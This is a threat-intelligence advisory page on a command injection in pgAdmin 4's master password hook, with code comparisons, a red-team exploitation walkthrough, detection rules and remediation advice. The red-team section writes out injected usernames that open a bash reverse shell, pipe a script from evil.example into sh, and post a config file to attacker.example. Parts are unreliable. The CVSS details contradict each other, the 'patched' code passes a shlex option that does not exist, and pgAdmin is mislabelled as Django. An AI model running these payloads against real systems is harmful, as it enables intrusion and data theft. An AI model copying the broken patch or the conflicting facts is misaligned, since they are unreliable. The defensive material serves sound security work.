☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pgadmin logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-17347

CVE-2026-17347 Command Injection in pgAdmin
📅 PUBLISHED: 2026-07-31 16:16 UTC 🔄 UPDATED: 2026-09-26 06:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
Affected: Pgadmin 4 — upgrade to patched release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: H Attack Complexity High
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-17347 is an authenticated command injection vulnerability in pgAdmin 4's MASTER_PASSWORD_HOOK feature, introduced in pgAdmin 4 7.2. The hook is an administrator-configured external command that returns a per-user encryption key. The %u placeholder is replaced with the current user's name, and the resulting string was passed directly to subprocess.Popen(..., shell=True).

Because the username can originate from external identity providers — OAuth/OIDC claims, Kerberos, or webserver authentication — it is not fully controlled by pgAdmin. A crafted username containing shell metacharacters (;, $(), backticks, pipes, &&, newlines) allows an authenticated user to execute arbitrary commands with the privileges of the pgAdmin service account.

The vulnerability affects pgAdmin 4 versions from 7.2 before 9.17. The patch in 9.17 tokenises the hook command string before substitution and executes with shell=False, fully containing the untrusted username. No public exploit code or Nuclei template was available at writing time. Still, the exploitation path is straightforward in environments that combine MASTER_PASSWORD_HOOK with federated identity sources.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

pgAdmin4 is distributed through PyPI (pgadmin4 package). While this CVE is not a malicious dependency issue, it is a reminder of the complex trust boundaries in Python-based web applications:

  • Verify the integrity of the pgadmin4 wheel/sdist downloaded from PyPI by checking SHA-256 hashes against upstream releases.
  • Configure an internal PyPI mirror to reduce the risk of typosquatting or dependency confusion.
  • Audit the MASTER_PASSWORD_HOOK script itself, because if an attacker can modify that script at the filesystem level, they already control the service account. The CVE only requires a crafted username, but the hook script is still a privileged attack surface.
  • Pin pgAdmin4 to a patched version (>=9.17) and continuously monitor for new advisories.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • CVSS Vector: Not published in the advisory; UNKNOWN in this report.

Although the exact vector is unavailable, the score reflects:

  • Attack Vector (AV): Network — the attacker logs into pgAdmin remotely.
  • Attack Complexity (AC): Low — no special conditions beyond a reachable pgAdmin with MASTER_PASSWORD_HOOK configured.
  • Privileges Required (PR): Low — any authenticated user account is sufficient.
  • User Interaction (UI): None — no additional victim interaction.
  • Scope (S): Unchanged per the CVSS score; the compromised service account remains within pgAdmin's security domain in the standard assessment.
  • Impact (C/I/A): High for confidentiality and integrity, because arbitrary command execution as the service account can read database credentials, modify pgAdmin configuration, and potentially pivot to managed database servers.

The practical severity in real environments is often higher than 7.5 because the pgAdmin service account frequently runs with wide filesystem and network permissions.

Deep Dive & Mechanics

pgAdmin 4's master password hook feature allows an administrator to point to an external script that returns a per-user master key. The configuration string can be arbitrary, for example:

MASTER_PASSWORD_HOOK = "/usr/local/libexec/pgadmin_key_script.sh %u"

At login time, pgAdmin replaces %u with the authenticated username and executes the resulting command.

Vulnerable versions used code equivalent to:

import subprocess
from pgadmin.config import MASTER_PASSWORD_HOOK

def get_master_key(username):
    command = MASTER_PASSWORD_HOOK.replace("%u", username)
    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
    return proc.stdout.read()

Because shell=True causes the command to be interpreted by the operating system shell, a username like:

admin; curl http://evil.example/x.sh | sh

produces:

/usr/local/libexec/pgadmin_key_script.sh admin; curl http://evil.example/x.sh | sh

The shell runs the legitimate hook, then executes the injected payload. This is especially critical when the username comes from:

  • OAuth/OIDC claims — the identity provider may allow arbitrary strings in the preferred_username claim.
  • Kerberos principals — the principal portion may include characters that are normally not allowed in Unix usernames but can still flow into pgAdmin.
  • Webserver authentication — headers such as X-Remote-User are often set by reverse proxies without strict validation.

The patch version changes execution to:

import shlex
import subprocess
from pgadmin.config import MASTER_PASSWORD_HOOK

def get_master_key(username):
    # Tokenise first, so untrusted username cannot create new argv entries
    argv = shlex.split(MASTER_PASSWORD_HOOK, posix=True, comments=False, backslash_escape=False)
    argv = [arg.replace("%u", username) for arg in argv]
    proc = subprocess.Popen(argv, shell=False, stdout=subprocess.PIPE)
    return proc.stdout.read()

backslash_escape=False prevents Windows path parsing issues, and shell=False means the username stays inside a single argv element. Even if the username contains shell metacharacters, they are inert data passed to the target command.

Important consequence for administrators: If the hook string itself relied on pipes, redirection, environment variables, or globbing, those features no longer work because the command is not passed to a shell. That logic must be moved into the invoked script.

Vulnerable vs. Patched Code

The table below shows the meaningful difference between vulnerable and patched execution logic.

Aspect Vulnerable (before 9.17) Patched (9.17+)
Command construction Direct string replacement: command = MASTER_PASSWORD_HOOK.replace("%u", username) shlex.split() on the hook first, then replacement per argv element
Execution subprocess.Popen(command, shell=True) subprocess.Popen(argv, shell=False)
Untrusted data handling Username becomes part of shell syntax Username is only a single argument value
Shell metacharacters in username Executed as shell syntax Passed literally to the executable
Backslash handling Shell-dependent backslash_escape=False to avoid Windows misparsing

Vulnerable code snippet (pgAdmin 4 < 9.17):

command = config.MASTER_PASSWORD_HOOK.replace("%u", username)
key = subprocess.Popen(
    command,
    shell=True,
    stdout=subprocess.PIPE
)

Patched code snippet (pgAdmin 4 9.17+):

argv = shlex.split(
    config.MASTER_PASSWORD_HOOK,
    posix=True,
    comments=False,
    backslash_escape=False
)
argv = [arg.replace("%u", username) for arg in argv]
key = subprocess.Popen(
    argv,
    shell=False,
    stdout=subprocess.PIPE
)

Exploitation & Lab Setup

Red Team

Goal: Demonstrate how an authenticated user with a malicious username achieves RCE on the pgAdmin server.

Preconditions:

  • pgAdmin 4 between 7.2 and 9.16.
  • MASTER_PASSWORD_HOOK configured with %u, for example:
    MASTER_PASSWORD_HOOK = "/opt/pgadmin/scripts/get_key.sh %u"
    
  • Login identity source that accepts arbitrary usernames (OIDC/OAuth, Kerberos, or reverse proxy header).

Step-by-step exploit:

  1. Register or obtain an account in the identity provider.

  2. Set the username (or OIDC preferred_username claim) to:

    test/user; bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'
    
  3. Log into pgAdmin. The Django user model may not display the exact username in the UI, but the authentication backend passes it to MASTER_PASSWORD_HOOK.

  4. On the attacker machine, start a listener:

    nc -lvnp 4444
    
  5. When pgAdmin invokes the hook, the shell parses the resulting string:

    /opt/pgadmin/scripts/get_key.sh test/user; bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'
    
  6. A reverse shell is obtained as the pgadmin service account.

Alternative payloads without a reverse shell:

  • Write a file to disk:
    user; echo 'nc -e /bin/sh 192.168.1.50 5555' > /tmp/backdoor.sh
    
  • Exfiltrate pgAdmin configuration files:
    user; curl -X POST -d @/var/lib/pgadmin/config_local.py https://attacker.example/exfil
    
  • Add a new admin user to pgAdmin's internal database:
    user; python3 -c 'from pgadmin.model import db, User; db.session.add(User(...)); db.session.commit()'
    

Lab setup with Docker:

services:
  pgadmin:
    image: dpage/pgadmin4:8.14
    environment:
      # Intentionally vulnerable version
      PGADMIN_MASTER_PASSWORD_HOOK: "/usr/local/bin/test_hook.sh %u"
    ports:
      - "8080:80"

Create /usr/local/bin/test_hook.sh inside the container:

#!/bin/sh
echo "key-for-user"

Then simulate the vulnerable call as the pgAdmin process:

username='admin; touch /tmp/pwned'
command="/usr/local/bin/test_hook.sh $username"
sh -c "$command"

Blue Team

Goal: Detect and block exploit attempts before they succeed.

  • Restrict identity provider usernames. Enforce an allowlist of allowed characters ([a-zA-Z0-9_-]) in OIDC claims, Kerberos mappings, and X-Remote-User headers. This is the most effective preventive control.
  • Avoid using %u directly in the hook string. If possible, map the username to a sanitized alias inside the invoked script rather than passing raw username data on the command line.
  • Audit hook script configuration. Only use static commands without pipes, redirection, or wildcards, because the patched version will no longer execute those shell features.
  • Endpoint Detection & Response (EDR). Deploy EDR on the pgAdmin host and monitor for processes spawned from the pgAdmin service account with unusual command lines.
  • Network egress controls. The pgAdmin service account should not be able to reach attacker-controlled IPs on arbitrary ports. Restrict outbound connectivity from pgAdmin hosts to database ports only.
  • Application-level monitoring. Enable verbose pgAdmin logs and audit login events, especially usernames containing non-alphanumeric characters.

Indicators of Compromise (IOCs)

  • Usernames appearing in authentication logs that contain shell metacharacters:
    • Semicolons: ;
    • Ampersands: &&
    • Pipes: |
    • Backticks: `
    • Command substitution: $()
    • Newline characters (%0A or actual newline in OAuth claims)
  • Child processes spawned by the pgAdmin daemon (e.g., python, uwsgi, gunicorn) that are not the expected hook script.
  • Unexpected processes such as /bin/sh -c or /bin/bash -c with curl, wget, nc, bash -i, perl, or python3 in the command line.
  • Network connections originating from the pgAdmin service account to non-standard ports (4444, 31337, etc.).
  • Files created by pgAdmin service account outside its expected directories (/tmp, /var/tmp, /dev/shm).

Detection Engineering

YARA Rule

rule PgAdmin_MasterPasswordHook_CVE_2026_17347 {
    meta:
        author = "Valters IT"
        description = "Detect pgAdmin MASTER_PASSWORD_HOOK command injection patterns in process memory and logs"
        cve = "CVE-2026-17347"
    strings:
        $popen = "subprocess.Popen" ascii
        $shell_true = "shell=True" ascii
        $hook = "MASTER_PASSWORD_HOOK" ascii
        $meta = /[;|`$&]/
        $cmd_sub = "$(" ascii
    condition:
        ($popen and $shell_true) and ($hook or $meta or $cmd_sub)
}

Sigma Rule

title: pgAdmin MASTER_PASSWORD_HOOK Command Injection Attempt
id: 3b8f5fe6-9c2c-4de1-8e5a-2f16aa5a0001
status: experimental
description: Detects process creation events indicating pgAdmin executed a username with shell metacharacters via MASTER_PASSWORD_HOOK
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17347
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - /python
            - /python3
            - /gunicorn
            - /uvicorn
    selection_cli:
        CommandLine|contains:
            - MASTER_PASSWORD_HOOK
            - /get_key.sh
            - shell=True
            - subprocess.Popen
    selection_injection:
        CommandLine|contains:
            - ';'
            - '&&'
            - '|'
            - '`'
            - '$('
            - 'bash -i'
    condition: selection_img and selection_cli and selection_injection
falsepositives:
    - Legitimate hook scripts that intentionally include shell syntax in the hook definition
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-17347 pgAdmin MASTER_PASSWORD_HOOK Command Injection Attempt"; flow:established,to_server; content:"/"; http_uri; pcre:"/(%00|%3B|%26%26|%7C|%60|%24%28)/"; sid:202617347; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

Remediation & Mitigation

  1. Upgrade immediately to pgAdmin 4 9.17 or later. This is the only complete fix.
  2. Sanitize external identity usernames before they reach pgAdmin:
    • For OIDC/OAuth, enforce a preferred_username allowlist policy.
    • For Kerberos, map principal names to safe Unix usernames.
    • For reverse proxy authentication (X-Remote-User), strip or reject characters outside [a-zA-Z0-9_-.@].
  3. Review MASTER_PASSWORD_HOOK configurations:
    • Remove any shell features (|, >, $(), backticks) from the hook string.
    • Move all logic into the script itself and make the script read the username via argument or stdin, not via shell interpolation.
  4. Run pgAdmin as a dedicated non‑privileged service account with restricted filesystem permissions and network egress rules.
  5. Deploy runtime security controls:
    • EDR on the pgAdmin host.
    • Host‑based firewall to block outbound connections from the pgAdmin service account to unexpected IPs/ports.
    • Web Application Firewall (WAF) to inspect login and OAuth callback requests for payload patterns.
  6. Audit existing logs for signs of exploitation, especially usernames containing shell metacharacters and unexpected child processes.

—

Valters IT Signature

Analysis completed by Valters IT DevSecOps & Cyber Threat Intelligence. This report is based on the provided CVE data and open intelligence. Validate all details against the official vendor advisory before operational action.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-17347/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.